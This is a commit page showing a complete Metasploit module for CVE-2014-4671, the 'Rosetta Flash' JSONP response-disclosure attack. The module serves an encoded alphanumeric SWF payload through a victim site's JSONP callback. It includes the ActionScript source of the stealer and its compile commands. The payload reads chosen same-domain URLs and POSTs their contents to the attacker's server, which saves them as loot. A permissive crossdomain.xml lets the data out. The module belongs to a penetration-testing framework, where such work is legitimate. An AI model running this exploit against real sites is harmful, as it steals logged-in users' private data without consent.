Land #3508, CVE-2014-4671 Flash JSONP disclosure
William Vu
commit
43f41de124
|
|
@ -0,0 +1,202 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'open-uri'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
|
||||
'Description' => %q{
|
||||
A website that serves a JSONP endpoint that accepts a custom alphanumeric
|
||||
callback of 1200 chars can be abused to serve an encoded swf payload that
|
||||
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
|
||||
|
||||
This module spins up a web server that, upon navigation from a user, attempts
|
||||
to abuse the specified JSONP endpoint URLs by stealing the response from
|
||||
GET requests to STEAL_URLS.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure
|
||||
'joev' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4671'],
|
||||
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
|
||||
['URL', 'https://github.com/mikispag/rosettaflash'],
|
||||
['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 8 2014',
|
||||
'Actions' => [ [ 'WebServer' ] ],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
|
||||
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
|
||||
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
|
||||
OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]),
|
||||
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
|
||||
],
|
||||
self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe
|
||||
raise "JSONP endpoint does not allow sufficiently long callback names."
|
||||
end
|
||||
|
||||
unless datastore['URIPATH'] == '/'
|
||||
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
|
||||
end
|
||||
|
||||
exploit
|
||||
end
|
||||
|
||||
def check
|
||||
test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length)
|
||||
io = open(exploit_url(test_string))
|
||||
if io.read.start_with? test_string
|
||||
Msf::Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
vprint_status("Request '#{request.method} #{request.uri}'")
|
||||
if request.uri.end_with? 'crossdomain.xml'
|
||||
print_status "Responding to crossdomain request.."
|
||||
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
|
||||
elsif request.uri.end_with? '.log'
|
||||
body = URI.decode(request.body)
|
||||
file = store_loot(
|
||||
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
|
||||
)
|
||||
url = body.lines.first.gsub(/.*?=/,'')
|
||||
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
|
||||
print_good "Stored in #{file}"
|
||||
else
|
||||
print_status "Serving exploit HTML"
|
||||
send_response_html(cli, exploit_html)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit_url(data_payload)
|
||||
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
|
||||
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
|
||||
end
|
||||
|
||||
def exploit_html
|
||||
ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
|
||||
width=500 height=500>
|
||||
<param name="FlashVars"
|
||||
value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" />
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
|
||||
#
|
||||
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
|
||||
#
|
||||
# class X {
|
||||
# static var app : X;
|
||||
#
|
||||
# function getURL(url:String) {
|
||||
# var r:LoadVars = new LoadVars();
|
||||
# r.onData = function(src:String) {
|
||||
# if (_root.exfiltrate) {
|
||||
# var w:LoadVars = new LoadVars();
|
||||
# w.x = url+"\n"+src;
|
||||
# w.sendAndLoad(_root.exfiltrate, w, "POST");
|
||||
# }
|
||||
# }
|
||||
# r.load(url, r, "GET");
|
||||
# }
|
||||
#
|
||||
# function X(mc) {
|
||||
# if (_root.url) {
|
||||
# var urls:Array = _root.url.split(",");
|
||||
# for (var i in urls) {
|
||||
# getURL(urls[i]);
|
||||
# }
|
||||
# }
|
||||
# }
|
||||
#
|
||||
# // entry point
|
||||
# static function main(mc) {
|
||||
# app = new X(mc);
|
||||
# }
|
||||
# }
|
||||
#
|
||||
#
|
||||
# Compiling the .as using mtasc and swftool:
|
||||
#
|
||||
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
|
||||
# $ swfcombine -d out.swf -o out-uncompressed.swf
|
||||
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
|
||||
#
|
||||
def encoded_swf
|
||||
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
|
||||
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
|
||||
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
|
||||
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
|
||||
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
|
||||
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
|
||||
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
|
||||
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
|
||||
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
|
||||
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
|
||||
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
|
||||
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
|
||||
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
|
||||
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
|
||||
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
|
||||
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
|
||||
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
|
||||
"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
|
||||
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
|
||||
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
|
||||
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
|
||||
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
|
||||
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
|
||||
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
|
||||
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
|
||||
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
|
||||
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
|
||||
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
|
||||
end
|
||||
|
||||
def crossdomain_xml
|
||||
%Q|
|
||||
<?xml version="1.0" ?>
|
||||
<cross-domain-policy>
|
||||
<allow-access-from domain="*" />
|
||||
</cross-domain-policy>
|
||||
|
|
||||
end
|
||||
|
||||
def rhost
|
||||
URI.parse(datastore["JSONP_URL"]).host
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue